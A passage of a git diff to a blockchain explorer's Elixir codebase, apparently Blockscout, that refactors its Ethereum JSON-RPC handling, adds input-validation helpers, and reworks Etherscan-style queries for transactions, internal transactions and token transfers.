parsed_log_index} <- to_number(log_index, "invalid log index") do {:ok, %{ log_index: parsed_log_index, - transaction_index: transaction_index, block_number: parsed_block_number }} end @@ -314,37 +1234,33 @@ defmodule Explorer.EthRPC do defp paging_options(_), do: {:ok, nil} - defp to_block_numbers(from_block, to_block, max_block_number, pending_block_number) do - actual_pending_block_number = pending_block_number || max_block_number - - with {:ok, from} <- - to_block_number(from_block, max_block_number, actual_pending_block_number), - {:ok, to} <- to_block_number(to_block, max_block_number, actual_pending_block_number) do + defp to_block_numbers(from_block, to_block, max_block_number) do + with {:ok, from} <- to_block_number(from_block, max_block_number), + {:ok, to} <- to_block_number(to_block, max_block_number) do {:ok, from, to} end end - defp to_block_number(integer, _, _) when is_integer(integer), do: {:ok, integer} - defp to_block_number("latest", max_block_number, _), do: {:ok, max_block_number || 0} - defp to_block_number("earliest", _, _), do: {:ok, 0} - defp to_block_number("pending", max_block_number, nil), do: {:ok, max_block_number || 0} - defp to_block_number("pending", _, pending), do: {:ok, pending} + defp to_block_number(integer, _) when is_integer(integer), do: {:ok, integer} + defp to_block_number("latest", max_block_number), do: {:ok, max_block_number || 0} + defp to_block_number("pending", max_block_number), do: {:ok, max_block_number || 0} + defp to_block_number("earliest", _), do: {:ok, 0} - defp to_block_number("0x" <> number, _, _) do + defp to_block_number("0x" <> number, _) do case Integer.parse(number, 16) do {integer, ""} -> {:ok, integer} _ -> {:error, "invalid block number"} end end - defp to_block_number(number, _, _) when is_bitstring(number) do + defp to_block_number(number, _) when is_bitstring(number) do case Integer.parse(number, 16) do {integer, ""} -> {:ok, integer} _ -> {:error, "invalid block number"} end end - defp to_block_number(_, _, _), do: {:error, "invalid block number"} + defp to_block_number(_, _), do: {:error, "invalid block number"} defp to_number(number, error_message) when is_bitstring(number) do case Integer.parse(number, 16) do @@ -355,13 +1271,6 @@ defmodule Explorer.EthRPC do defp to_number(_, error_message), do: {:error, error_message} - defp max_non_consensus_block_number(max) do - case RPC.max_non_consensus_block_number(max) do - {:ok, number} -> number - _ -> nil - end - end - defp max_consensus_block_number do case Chain.max_consensus_block_number() do {:ok, number} -> number @@ -400,8 +1309,12 @@ defmodule Explorer.EthRPC do {:error, "Invalid params. Params must be a list."} end + defp do_eth_request(%{"jsonrpc" => jsonrpc, "method" => method}) do + do_eth_request(%{"jsonrpc" => jsonrpc, "method" => method, "params" => []}) + end + defp do_eth_request(_) do - {:error, "Method, params, and jsonrpc, are all required parameters."} + {:error, "Method, and jsonrpc are required parameters."} end defp get_action(action) do @@ -428,6 +1341,8 @@ defmodule Explorer.EthRPC do defp block_param(nil), do: {:ok, :latest} defp block_param(_), do: :error + def encode_quantity(%Decimal{} = decimal), do: encode_quantity(Decimal.to_integer(decimal)) + def encode_quantity(binary) when is_binary(binary) do hex_binary = Base.encode16(binary, case: :lower) @@ -449,4 +1364,6 @@ defmodule Explorer.EthRPC do end def methods, do: @methods + + defp chain_id, do: :block_scout_web |> Application.get_env(:chain_id) |> Helper.parse_integer() |> encode_quantity() end diff --git a/apps/explorer/lib/explorer/eth_rpc_helper.ex b/apps/explorer/lib/explorer/eth_rpc_helper.ex new file mode 100644 index 000000000000..2cecf52be106 --- /dev/null +++ b/apps/explorer/lib/explorer/eth_rpc_helper.ex @@ -0,0 +1,121 @@ +defmodule Explorer.EthRpcHelper do + @moduledoc """ + Helper module for Explorer.EthRPC. Mostly contains functions to validate input args + """ + + alias Explorer.Chain.{Data, Hash.Address} + alias Explorer.Chain.Hash.Full, as: Hash + + @invalid_address "Invalid address" + @invalid_block_number "Invalid block number" + @invalid_integer "Invalid integer" + @missed_to_address "Missed `to` address" + @invalid_bool "Invalid bool" + @invalid_hash "Invalid hash" + @invalid_hex_data "Invalid hex data" + @doc """ + Validates if address is valid + """ + @spec address_hash_validator(binary(), String.t()) :: :ok | {:error, String.t()} + def address_hash_validator(address_hash, message \\ @invalid_address) do + case Address.cast(address_hash) do + {:ok, _} -> :ok + :error -> {:error, message} + end + end + + @doc """ + Validates if hash is valid + """ + @spec hash_validator(binary()) :: :ok | {:error, String.t()} + def hash_validator(hash) do + case Hash.cast(hash) do + {:ok, _} -> :ok + :error -> {:error, @invalid_hash} + end + end + + @doc """ + Validates if hex data is valid + """ + @spec hex_data_validator(binary()) :: :ok | {:error, String.t()} + def hex_data_validator(hex_data) do + case Data.cast(hex_data) do + {:ok, _} -> :ok + _ -> {:error, @invalid_hex_data} + end + end + + @doc """ + Validates if block is valid + """ + @spec block_validator(binary()) :: :ok | {:error, String.t()} + def block_validator(block_tag) when block_tag in ["latest", "earliest", "pending"], do: :ok + + def block_validator(block_number) do + parse_integer(block_number) || {:error, @invalid_block_number} + end + + def integer_validator(hex) do + parse_integer(hex) || {:error, @invalid_integer} + end + + @doc """ + Validates eth_call map + """ + @spec eth_call_validator(map()) :: :ok | {:error, String.t()} + def eth_call_validator(%{"to" => to_address} = eth_call) do + with :ok <- address_hash_validator(to_address, "Invalid `to` address"), + :ok <- validate_optional_address(eth_call["from"], "from"), + :ok <- validate_optional_integer(eth_call["gas"], "gas"), + :ok <- validate_optional_integer(eth_call["gasPrice"], "gasPrice"), + :ok <- validate_optional_integer(eth_call["value"], "value"), + :ok <- validate_optional_hex_data(eth_call["input"], "input") do + :ok + else + error -> + error + end + end + + def eth_call_validator(_), do: {:error, @missed_to_address} + + @doc """ + Validates if bool is valid + """ + @spec bool_validator(boolean()) :: :ok | {:error, String.t()} + def bool_validator(bool) when is_boolean(bool), do: :ok + def bool_validator(_), do: {:error, @invalid_bool} + + defp validate_optional_address(nil, _), do: :ok + + defp validate_optional_address(address_hash, field_name) do + address_hash_validator(address_hash, "Invalid `#{field_name}` address") + end + + defp validate_optional_integer(nil, _), do: :ok + + defp validate_optional_integer(integer, field_name) do + parse_integer(integer) || {:error, "Invalid `#{field_name}` quantity"} + end + + defp parse_integer("0x"), do: :ok + + defp parse_integer("0x" <> hex_integer) do + case Integer.parse(hex_integer, 16) do + {_integer, ""} -> :ok + _ -> nil + end + end + + defp parse_integer(_), do: nil + + defp validate_optional_hex_data(nil, _), do: :ok + + defp validate_optional_hex_data(data, field_name) do + case Data.cast(data) do + {:ok, _} -> :ok + _ -> {:error, "Invalid `#{field_name}` data"} + end + end +end diff --git a/apps/explorer/lib/explorer/etherscan.ex b/apps/explorer/lib/explorer/etherscan.ex index bafbc8d1adb8..2a99d1d6ea5b 100644 --- a/apps/explorer/lib/explorer/etherscan.ex +++ b/apps/explorer/lib/explorer/etherscan.ex @@ -3,26 +3,27 @@ defmodule Explorer.Etherscan do The etherscan context. """ - import Ecto.Query, only: [from: 2, where: 3, or_where: 3, union: 2, subquery: 1, order_by: 3] + import Ecto.Query + + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] alias Explorer.Etherscan.Logs alias Explorer.{Chain, Repo} alias Explorer.Chain.Address.{CurrentTokenBalance, TokenBalance} - alias Explorer.Chain.{Address, Block, Hash, InternalTransaction, TokenTransfer, Transaction} + alias Explorer.Chain.{Address, Block, DenormalizationHelper, Hash, InternalTransaction, TokenTransfer, Transaction} alias Explorer.Chain.Transaction.History.TransactionStats @default_options %{ order_by_direction: :desc, + include_zero_value: false, page_number: 1, page_size: 10_000, - start_block: nil, - end_block: nil, + startblock: nil, + endblock: nil, start_timestamp: nil, end_timestamp: nil } - @burn_address_hash_str "0x0000000000000000000000000000000000000000" - @doc """ Returns the maximum allowed page size number. @@ -75,6 +76,7 @@ defmodule Explorer.Etherscan do from_address_hash to_address_hash transaction_hash + transaction_index index value created_contract_address_hash @@ -87,7 +89,8 @@ defmodule Explorer.Etherscan do )a @doc """ - Gets a list of internal transactions for a given transaction hash + Gets a list of all internal transactions (with :all option) or for a given address hash + (`t:Explorer.Chain.Hash.Address.t/0`) or transaction hash (`t:Explorer.Chain.Hash.Full.t/0`). Note that this function relies on `Explorer.Chain` to exclude/include @@ -97,164 +100,215 @@ defmodule Explorer.Etherscan do transaction * include internal transactions of type create, reward, or selfdestruct even when they are alone in the parent transaction - """ - @spec list_internal_transactions(Hash.Full.t()) :: [map()] - def list_internal_transactions(%Hash{byte_count: unquote(Hash.Full.byte_count())} = transaction_hash) do - query = - from( - it in InternalTransaction, - inner_join: t in assoc(it, :transaction), - inner_join: b in assoc(t, :block), - where: it.transaction_hash == ^transaction_hash, - limit: 10_000, - select: - merge(map(it, ^@internal_transaction_fields), %{ - block_timestamp: b.timestamp, - block_number: b.number - }) - ) - - query - |> Chain.where_transaction_has_multiple_internal_transactions() - |> InternalTransaction.where_is_different_from_parent_transaction() - |> InternalTransaction.where_nonpending_block() - |> Repo.replica().all() - end - - @doc """ - Gets a list of internal transactions for a given address hash - (`t:Explorer.Chain.Hash.Address.t/0`). + @spec list_internal_transactions(Hash.Full.t() | Hash.Address.t() | :all, map()) :: [map()] + def list_internal_transactions(transaction_or_address_hash_param_or_no_param, raw_options \\ %{}) - Note that this function relies on `Explorer.Chain` to exclude/include - internal transactions as follows: - - * exclude internal transactions of type call with no siblings in the - transaction - * include internal transactions of type create, reward, or selfdestruct - even when they are alone in the parent transaction - - """ - @spec list_internal_transactions(Hash.Address.t(), map()) :: [map()] - def list_internal_transactions( - %Hash{byte_count: unquote(Hash.Address.byte_count())} = address_hash, - raw_options \\ %{} - ) do + def list_internal_transactions(%Hash{byte_count: unquote(Hash.Full.byte_count())} = transaction_hash, raw_options) do options = Map.merge(@default_options, raw_options) - direction = - case options do - %{filter_by: "to"} -> :to - %{filter_by: "from"} -> :from - _ -> nil - end - - consensus_blocks = - from( - b in Block, - where: b.consensus == true - ) - - if direction == nil do - query = + query = + if DenormalizationHelper.transactions_denormalization_finished?() do from( it in InternalTransaction, - inner_join: b in subquery(consensus_blocks), - on: it.block_number == b.number, - order_by: [ - {^options.order_by_direction, it.block_number}, - {:desc, it.transaction_index}, - {:desc, it.index} - ], - limit: ^options.page_size, - offset: ^offset(options), + inner_join: transaction in assoc(it, :transaction), + where: not is_nil(transaction.block_hash), + where: it.transaction_hash == ^transaction_hash, + limit: 10_000, select: merge(map(it, ^@internal_transaction_fields), %{ - block_timestamp: b.timestamp, - block_number: b.number + block_timestamp: transaction.block_timestamp, + block_number: transaction.block_number }) ) - - query_to_address_hash_wrapped = - query - |> InternalTransaction.where_address_fields_match(address_hash, :to_address_hash) - |> InternalTransaction.where_is_different_from_parent_transaction() - |> where_start_block_match(options) - |> where_end_block_match(options) - |> Chain.wrapped_union_subquery() - - query_from_address_hash_wrapped = - query - |> InternalTransaction.where_address_fields_match(address_hash, :from_address_hash) - |> InternalTransaction.where_is_different_from_parent_transaction() - |> where_start_block_match(options) - |> where_end_block_match(options) - |> Chain.wrapped_union_subquery() - - query_created_contract_address_hash_wrapped = - query - |> InternalTransaction.where_address_fields_match(address_hash, :created_contract_address_hash) - |> InternalTransaction.where_is_different_from_parent_transaction() - |> where_start_block_match(options) - |> where_end_block_match(options) - |> Chain.wrapped_union_subquery() - - query_to_address_hash_wrapped - |> union(^query_from_address_hash_wrapped) - |> union(^query_created_contract_address_hash_wrapped) - |> Chain.wrapped_union_subquery() - |> order_by( - [q], - [ - {^options.order_by_direction, q.block_number}, - desc: q.index - ] - ) - |> Repo.replica().all() - else - query = + else from( it in InternalTransaction, inner_join: t in assoc(it, :transaction), inner_join: b in assoc(t, :block), - order_by: [{^options.order_by_direction, t.block_number}], - limit: ^options.page_size, - offset: ^offset(options), + where: it.transaction_hash == ^transaction_hash, + limit: 10_000, select: merge(map(it, ^@internal_transaction_fields), %{ block_timestamp: b.timestamp, block_number: b.number }) ) + end - query - |> Chain.where_transaction_has_multiple_internal_transactions() + query + |> InternalTransaction.where_transaction_has_multiple_internal_transactions() + |> InternalTransaction.where_is_different_from_parent_transaction() + |> InternalTransaction.where_nonpending_block() + |> InternalTransaction.include_zero_value(options.include_zero_value) + |> Repo.replica().all() + end + + def list_internal_transactions( + %Hash{byte_count: unquote(Hash.Address.byte_count())} = address_hash, + raw_options + ) do + options = Map.merge(@default_options, raw_options) + + options + |> options_to_directions() + |> Enum.map(fn direction -> + options + |> consensus_internal_transactions_with_transactions_and_blocks_query() |> InternalTransaction.where_address_fields_match(address_hash, direction) |> InternalTransaction.where_is_different_from_parent_transaction() - |> where_start_block_match(options) - |> where_end_block_match(options) + |> InternalTransaction.include_zero_value(options.include_zero_value) + |> where_start_block_match_internal_transaction(options) + |> where_end_block_match_internal_transaction(options) |> InternalTransaction.where_nonpending_block() - |> Repo.replica().all() + |> Chain.wrapped_union_subquery() + end) + |> Enum.reduce(fn query, acc -> + union(acc, ^query) + end) + |> Chain.wrapped_union_subquery() + |> order_by( + [q], + [ + {^options.order_by_direction, q.block_number}, + {^options.order_by_direction, q.transaction_index}, + {^options.order_by_direction, q.index} + ] + ) + |> offset(^options_to_offset(options)) + |> limit(^options.page_size) + |> Repo.replica().all() + end + + def list_internal_transactions( + :all, + raw_options + ) do + options = Map.merge(@default_options, raw_options) + + consensus_blocks = Block.consensus_blocks_query() + + options + |> internal_transactions_query(consensus_blocks) + |> InternalTransaction.where_is_different_from_parent_transaction() + |> InternalTransaction.include_zero_value(options.include_zero_value) + |> where_start_block_match_internal_transaction(options) + |> where_end_block_match_internal_transaction(options) + |> Repo.replica().all() + end + + defp consensus_internal_transactions_with_transactions_and_blocks_query(options) do + if DenormalizationHelper.transactions_denormalization_finished?() do + from( + it in InternalTransaction, + as: :internal_transaction, + inner_join: transaction in assoc(it, :transaction), + where: not is_nil(transaction.block_hash), + where: transaction.block_consensus == true, + order_by: [ + {^options.order_by_direction, it.block_number}, + {^options.order_by_direction, it.transaction_index}, + {^options.order_by_direction, it.index} + ], + limit: ^options_to_limit_for_inner_query(options), + select: + merge(map(it, ^@internal_transaction_fields), %{ + block_timestamp: transaction.block_timestamp, + block_number: transaction.block_number + }) + ) + else + from( + it in InternalTransaction, + as: :internal_transaction, + inner_join: t in assoc(it, :transaction), + inner_join: b in assoc(t, :block), + where: b.consensus == true, + order_by: [ + {^options.order_by_direction, it.block_number}, + {^options.order_by_direction, it.transaction_index}, + {^options.order_by_direction, it.index} + ], + limit: ^options_to_limit_for_inner_query(options), + select: + merge(map(it, ^@internal_transaction_fields), %{ + block_timestamp: b.timestamp, + block_number: b.number + }) + ) end end - @doc """ - Gets a list of token transfers for a given `t:Explorer.Chain.Hash.Address.t/0`. + defp internal_transactions_query(options, consensus_blocks) do + from( + it in InternalTransaction, + inner_join: block in subquery(consensus_blocks), + on: it.block_number == block.number, + order_by: [ + {^options.order_by_direction, it.block_number}, + {^options.order_by_direction, it.transaction_index}, + {^options.order_by_direction, it.index} + ], + limit: ^options.page_size, + offset: ^options_to_offset(options), + select: + merge(map(it, ^@internal_transaction_fields), %{ + block_timestamp: block.timestamp, + block_number: block.number + }) + ) + end + @doc """ + Retrieves token transfers filtered by token standard type with optional address and contract filtering. + + This function queries token transfers based on the specified token standard + (ERC-20, ERC-721, ERC-1155, or ERC-404) and applies optional filtering by + address and contract address. The function merges provided options with + default settings for pagination, ordering, and block range filtering. + + For ERC-1155 transfers, the function performs additional processing to unnest + arrays of token IDs and amounts into individual transfer records, with each + record containing the specific token ID, amount, and index within the batch. + + ## Parameters + - `token_transfers_type`: The token standard type (`:erc20`, `:erc721`, + `:erc1155`, or `:erc404`) + - `address_hash`: Optional address hash to filter transfers involving this + address as sender or recipient (filters by `from_address_hash` or + `to_address_hash`) + - `contract_address_hash`: Optional contract address hash to filter transfers + for a specific token contract + - `options`: Map of query options that gets merged with default options + including pagination (`page_number`, `page_size`), ordering + (`order_by_direction`), and block range filtering (`startblock`, `endblock`) + + ## Returns + - A list of `TokenTransfer` structs matching the specified criteria + - For ERC-1155 transfers, each struct includes unnested `token_id`, `amount`, + and `index_in_batch` fields """ - @spec list_token_transfers(Hash.Address.t(), Hash.Address.t() | nil, map()) :: [map()] - def list_token_transfers( - %Hash{byte_count: unquote(Hash.Address.byte_count())} = address_hash, - contract_address_hash, - options \\ @default_options - ) do - case Chain.max_consensus_block_number() do - {:ok, block_height} -> - merged_options = Map.merge(@default_options, options) - list_token_transfers(address_hash, contract_address_hash, block_height, merged_options) - - _ -> - [] + @spec list_token_transfers( + :erc20 | :erc721 | :erc1155 | :erc404, + Hash.Address.t() | nil, + Hash.Address.t() | nil, + map() + ) :: [TokenTransfer.t()] + def list_token_transfers(token_transfers_type, address_hash, contract_address_hash, options) do + options = Map.merge(@default_options, options) + + case token_transfers_type do + :erc20 -> + list_erc20_token_transfers(address_hash, contract_address_hash, options) + + :erc721 -> + list_nft_transfers(address_hash, contract_address_hash, options) + + :erc1155 -> + list_erc1155_token_transfers(address_hash, contract_address_hash, options) + + :erc404 -> + list_erc404_token_transfers(address_hash, contract_address_hash, options) end end @@ -280,14 +334,14 @@ defmodule Explorer.Etherscan do query = from( - b in Block, - where: b.miner_hash == ^address_hash, - order_by: [desc: b.number], + block in Block, + where: block.miner_hash == ^address_hash, + order_by: [desc: block.number], limit: ^merged_options.page_size, - offset: ^offset(merged_options), + offset: ^options_to_offset(merged_options), select: %{ - number: b.number, - timestamp: b.timestamp + number: block.number, + timestamp: block.timestamp } ) @@ -344,6 +398,8 @@ defmodule Explorer.Etherscan do @transaction_fields ~w( block_hash block_number + block_consensus + block_timestamp created_contract_address_hash cumulative_gas_used from_address_hash @@ -380,162 +436,268 @@ defmodule Explorer.Etherscan do query = from( t in Transaction, - limit: ^options.page_size, - offset: ^offset(options), + limit: ^options_to_limit_for_inner_query(options), select: map(t, ^@pending_transaction_fields) ) - query - |> where_address_match(address_hash, options) - |> Chain.pending_transactions_query() - |> order_by([transaction], desc: transaction.inserted_at, desc: transaction.hash) + options + |> options_to_directions() + |> Enum.map(fn direction -> + query + |> where_address_match(address_hash, direction) + |> Chain.pending_transactions_query() + |> order_by([transaction], desc: transaction.inserted_at, desc: transaction.hash) + |> Chain.wrapped_union_subquery() + end) + |> Enum.reduce(fn query, acc -> + union(acc, ^query) + end) + |> Chain.wrapped_union_subquery() + |> order_by( + [transaction], + desc: transaction.inserted_at, + desc: transaction.hash + ) + |> offset(^options_to_offset(options)) + |> limit(^options.page_size) |> Repo.replica().all() end defp list_transactions(address_hash, max_block_number, options) do query = - from( - t in Transaction, - inner_join: b in assoc(t, :block), - order_by: [{^options.order_by_direction, t.block_number}], - limit: ^options.page_size, - offset: ^offset(options), - select: - merge(map(t, ^@transaction_fields), %{ - block_timestamp: b.timestamp, - confirmations: fragment("? - ?", ^max_block_number, t.block_number) - }) - ) + if DenormalizationHelper.transactions_denormalization_finished?() do + from( + t in Transaction, + where: not is_nil(t.block_hash), + where: t.block_consensus == true, + order_by: [{^options.order_by_direction, t.block_number}, {^options.order_by_direction, t.index}], + limit: ^options_to_limit_for_inner_query(options), + select: + merge(map(t, ^@transaction_fields), %{ + confirmations: fragment("? - ?", ^max_block_number, t.block_number) + }) + ) + else + from( + t in Transaction, + inner_join: b in assoc(t, :block), + where: b.consensus == true, + order_by: [{^options.order_by_direction, t.block_number}, {^options.order_by_direction, t.index}], + limit: ^options_to_limit_for_inner_query(options), + select: + merge(map(t, ^@transaction_fields), %{ + block_timestamp: b.timestamp, + confirmations: fragment("? - ?", ^max_block_number, t.block_number) + }) + ) + end - query - |> where_address_match(address_hash, options) - |> where_start_block_match(options) - |> where_end_block_match(options) - |> where_start_timestamp_match(options) - |> where_end_timestamp_match(options) + options + |> options_to_directions() + |> Enum.map(fn direction -> + query + |> where_address_match(address_hash, direction) + |> where_start_transaction_block_match(options) + |> where_end_transaction_block_match(options) + |> where_start_timestamp_match(options) + |> where_end_timestamp_match(options) + |> Chain.wrapped_union_subquery() + end) + |> Enum.reduce(fn query, acc -> + union(acc, ^query) + end) + |> Chain.wrapped_union_subquery() + |> order_by( + [q], + [ + {^options.order_by_direction, q.block_number}, + {^options.order_by_direction, q.index} + ] + ) + |> offset(^options_to_offset(options)) + |> limit(^options.page_size) |> Repo.replica().all() end - defp where_address_match(query, address_hash, %{filter_by: "to"}) do + defp where_address_match(query, address_hash, :to_address_hash) do where(query, [t], t.to_address_hash == ^address_hash) end - defp where_address_match(query, address_hash, %{filter_by: "from"}) do + defp where_address_match(query, address_hash, :from_address_hash) do where(query, [t], t.from_address_hash == ^address_hash) end - defp where_address_match(query, address_hash, _) do - query - |> where([t], t.to_address_hash == ^address_hash) - |> or_where([t], t.from_address_hash == ^address_hash) - |> or_where([t], t.created_contract_address_hash == ^address_hash) + defp where_address_match(query, address_hash, :created_contract_address_hash) do + where(query, [t], t.created_contract_address_hash == ^address_hash) end - @token_transfer_fields ~w( - block_number - block_hash - token_contract_address_hash - transaction_hash - from_address_hash - to_address_hash - amount - )a - - defp list_token_transfers(address_hash, contract_address_hash, block_height, options) do - tt_query = - from( - tt in TokenTransfer, - inner_join: tkn in assoc(tt, :token), - where: tt.from_address_hash == ^address_hash, - or_where: tt.to_address_hash == ^address_hash, - order_by: [{^options.order_by_direction, tt.block_number}, {^options.order_by_direction, tt.log_index}], - limit: ^options.page_size, - offset: ^offset(options), - select: - merge(map(tt, ^@token_transfer_fields), %{ - token_id: tt.token_id, - token_name: tkn.name, - token_symbol: tkn.symbol, - token_decimals: tkn.decimals, - token_type: tkn.type, - token_log_index: tt.log_index - }) - ) + defp list_erc20_token_transfers(address_hash, contract_address_hash, options) do + "ERC-20" |> base_token_transfers_query(address_hash, contract_address_hash, options) |> Repo.replica().all() + end - tt_specific_token_query = - tt_query - |> where_contract_address_match(contract_address_hash) + defp list_nft_transfers(address_hash, contract_address_hash, options) do + "ERC-721" |> base_token_transfers_query(address_hash, contract_address_hash, options) |> Repo.replica().all() + end - wrapped_query = - from( - tt in subquery(tt_specific_token_query), - inner_join: t in Transaction, - on: tt.transaction_hash == t.hash and tt.block_number == t.block_number and tt.block_hash == t.block_hash, - inner_join: b in assoc(t, :block), - order_by: [{^options.order_by_direction, tt.block_number}, {^options.order_by_direction, tt.token_log_index}], - select: %{ - token_contract_address_hash: tt.token_contract_address_hash, - transaction_hash: tt.transaction_hash, - from_address_hash: tt.from_address_hash, - to_address_hash: tt.to_address_hash, - amount: tt.amount, - transaction_nonce: t.nonce, - transaction_index: t.index, - transaction_gas: t.gas, - transaction_gas_price: t.gas_price, - transaction_gas_used: t.gas_used, - transaction_cumulative_gas_used: t.cumulative_gas_used, - transaction_input: t.input, - block_hash: b.hash, - block_number: b.number, - block_timestamp: b.timestamp, - confirmations: fragment("? - ?", ^block_height, t.block_number), - token_id: tt.token_id, - token_name: tt.token_name, - token_symbol: tt.token_symbol, - token_decimals: tt.token_decimals, - token_type: tt.token_type, - token_log_index: tt.token_log_index - } - ) + defp list_erc1155_token_transfers(address_hash, contract_address_hash, options) do + "ERC-1155" + |> base_token_transfers_query(address_hash, contract_address_hash, options) + |> join( + :inner, + [token_transfer], + unnest in fragment( + "LATERAL (SELECT unnest(?) AS token_id, unnest(COALESCE(?, ARRAY[?])) AS amount, GENERATE_SERIES(0, COALESCE(ARRAY_LENGTH(?, 1), 0) - 1) as index_in_batch)", + token_transfer.token_ids, + token_transfer.amounts, + token_transfer.amount, + token_transfer.amounts + ), + as: :unnest, + on: true + ) + |> select_merge([unnest: unnest], %{ + token_id: fragment("?::numeric", unnest.token_id), + amount: fragment("?::numeric", unnest.amount), + index_in_batch: fragment("?::integer", unnest.index_in_batch) + }) + |> order_by( + [unnest: unnest], + {^options.order_by_direction, unnest.index_in_batch} + ) + |> Repo.replica().all() + end - wrapped_query - |> where_start_block_match(options) - |> where_end_block_match(options) + defp list_erc404_token_transfers(address_hash, contract_address_hash, options) do + "ERC-404" + |> base_token_transfers_query(address_hash, contract_address_hash, options) |> Repo.replica().all() end - defp where_start_block_match(query, %{start_block: nil}), do: query + defp base_token_transfers_query(transfers_type, address_hash, contract_address_hash, options) do + TokenTransfer.only_consensus_transfers_query() + |> TokenTransfer.maybe_filter_by_token_type(transfers_type) + |> where_contract_address_match(contract_address_hash) + |> where_address_match_token_transfer(address_hash) + |> order_by([tt], [ + {^options.order_by_direction, tt.block_number}, + {^options.order_by_direction, tt.log_index} + ]) + |> where_start_block_match_tt(options) + |> where_end_block_match_tt(options) + |> limit(^options.page_size) + |> offset(^options_to_offset(options)) + |> maybe_preload_entities() + end + + defp maybe_preload_entities(query) do + if DenormalizationHelper.tt_denormalization_finished?() do + query + |> preload([:transaction, :token]) + else + query + |> preload([:block, :token, :transaction]) + end + end - defp where_start_block_match(query, %{start_block: start_block}) do + defp where_start_block_match(query, %{startblock: nil}), do: query + + defp where_start_block_match(query, %{startblock: start_block}) do where(query, [..., block], block.number >= ^start_block) end - defp where_end_block_match(query, %{end_block: nil}), do: query + defp where_end_block_match(query, %{endblock: nil}), do: query - defp where_end_block_match(query, %{end_block: end_block}) do + defp where_end_block_match(query, %{endblock: end_block}) do where(query, [..., block], block.number <= ^end_block) end + defp where_start_transaction_block_match(query, %{startblock: nil}), do: query + + defp where_start_transaction_block_match(query, %{startblock: start_block} = params) do + if DenormalizationHelper.transactions_denormalization_finished?() do + where(query, [transaction], transaction.block_number >= ^start_block) + else + where_start_block_match(query, params) + end + end + + defp where_end_transaction_block_match(query, %{endblock: nil}), do: query + + defp where_end_transaction_block_match(query, %{endblock: end_block} = params) do + if DenormalizationHelper.transactions_denormalization_finished?() do + where(query, [transaction], transaction.block_number <= ^end_block) + else + where_end_block_match(query, params) + end + end + + defp where_start_block_match_tt(query, %{startblock: nil}), do: query + + defp where_start_block_match_tt(query, %{startblock: start_block}) do + where(query, [tt], tt.block_number >= ^start_block) + end + + defp where_end_block_match_tt(query, %{endblock: nil}), do: query + + defp where_end_block_match_tt(query, %{endblock: end_block}) do + where(query, [tt], tt.block_number <= ^end_block) + end + + defp where_start_block_match_internal_transaction(query, %{startblock: nil}), do: query + + defp where_start_block_match_internal_transaction(query, %{startblock: start_block}) do + where(query, [internal_transaction: internal_transaction], internal_transaction.block_number >= ^start_block) + end + + defp where_end_block_match_internal_transaction(query, %{endblock: nil}), do: query + + defp where_end_block_match_internal_transaction(query, %{endblock: end_block}) do + where(query, [internal_transaction: internal_transaction], internal_transaction.block_number <= ^end_block) + end + defp where_start_timestamp_match(query, %{start_timestamp: nil}), do: query defp where_start_timestamp_match(query, %{start_timestamp: start_timestamp}) do - where(query, [..., block], ^start_timestamp <= block.timestamp) + if DenormalizationHelper.transactions_denormalization_finished?() do + where(query, [transaction], ^start_timestamp <= transaction.block_timestamp) + else + where(query, [..., block], ^start_timestamp <= block.timestamp) + end end defp where_end_timestamp_match(query, %{end_timestamp: nil}), do: query defp where_end_timestamp_match(query, %{end_timestamp: end_timestamp}) do - where(query, [..., block], block.timestamp <= ^end_timestamp) + if DenormalizationHelper.transactions_denormalization_finished?() do + where(query, [transaction], transaction.block_timestamp <= ^end_timestamp) + else + where(query, [..., block], block.timestamp <= ^end_timestamp) + end end defp where_contract_address_match(query, nil), do: query defp where_contract_address_match(query, contract_address_hash) do - where(query, [tt, _], tt.token_contract_address_hash == ^contract_address_hash) + where(query, [tt], tt.token_contract_address_hash == ^contract_address_hash) end - defp offset(options), do: (options.page_number - 1) * options.page_size + defp where_address_match_token_transfer(query, nil), do: query + + defp where_address_match_token_transfer(query, address_hash) do + where(query, [tt], tt.from_address_hash == ^address_hash or tt.to_address_hash == ^address_hash) + end + + defp options_to_offset(options), do: (options.page_number - 1) * options.page_size + + defp options_to_limit_for_inner_query(options), do: options.page_number * options.page_size + + defp options_to_directions(options) do + case options do + %{filter_by: "to"} -> [:to_address_hash, :created_contract_address_hash] + %{filter_by: "from"} -> [:from_address_hash] + _ -> [:to_address_hash, :from_address_hash, :created_contract_address_hash] + end + end @doc """ Gets a list of logs that meet the criteria in a given filter map. @@ -583,7 +745,7 @@ defmodule Explorer.Etherscan do @spec fetch_sum_coin_total_supply_minus_burnt() :: non_neg_integer def fetch_sum_coin_total_supply_minus_burnt do - {:ok, burn_address_hash} = Chain.string_to_address_hash(@burn_address_hash_str) + {:ok, burn_address_hash} = Chain.string_to_address_hash(burn_address_hash_string()) query = from( @@ -605,9 +767,9 @@ defmodule Explorer.Etherscan do {:ok, date} -> query = from( - tx_stats in TransactionStats, - where: tx_stats.date == ^date, - select: tx_stats.total_fee + transaction_stats in TransactionStats, + where: transaction_stats.date == ^date, + select: transaction_stats.total_fee ) total_fees = Repo.replica().one(query) diff --git a/apps/explorer/lib/explorer/etherscan/blocks.ex b/apps/explorer/lib/explorer/etherscan/blocks.ex index d7238fb7a20f..0249f46743d3 100644 --- a/apps/explorer/lib/explorer/etherscan/blocks.ex +++ b/apps/explorer/lib/explorer/etherscan/blocks.ex @@ -11,7 +11,7 @@ defmodule Explorer.Etherscan.Blocks do ] alias Explorer.{Chain, Repo} - alias Explorer.Chain.{Address.CoinBalance, Block, Hash, Wei} + alias Explorer.Chain.{Address, Address.CoinBalance, Block, Hash, Wei} @doc """ Returns the balance of the given address and block combination. @@ -39,12 +39,16 @@ defmodule Explorer.Etherscan.Blocks do end def get_balance_as_of_block(address, :latest) do - case Chain.max_consensus_block_number() do - {:ok, latest_block_number} -> - get_balance_as_of_block(address, latest_block_number) + latest_coin_balance_query = + from( + a in Address, + select: a.fetched_coin_balance, + where: a.hash == ^address + ) - {:error, :not_found} -> - {:error, :not_found} + case Repo.replica().one(latest_coin_balance_query) do + nil -> {:error, :not_found} + coin_balance -> {:ok, coin_balance} end end diff --git a/apps/explorer/lib/explorer/etherscan/contracts.ex b/apps/explorer/lib/explorer/etherscan/contracts.ex index 37e8ef7a34a9..ce33dc54fa5c 100644 --- a/apps/explorer/lib/explorer/etherscan/contracts.ex +++ b/apps/explorer/lib/explorer/etherscan/contracts.ex @@ -7,14 +7,20 @@ defmodule Explorer.Etherscan.Contracts do import Ecto.Query, only: [ - from: 2 + from: 2, + where: 3 ] - alias 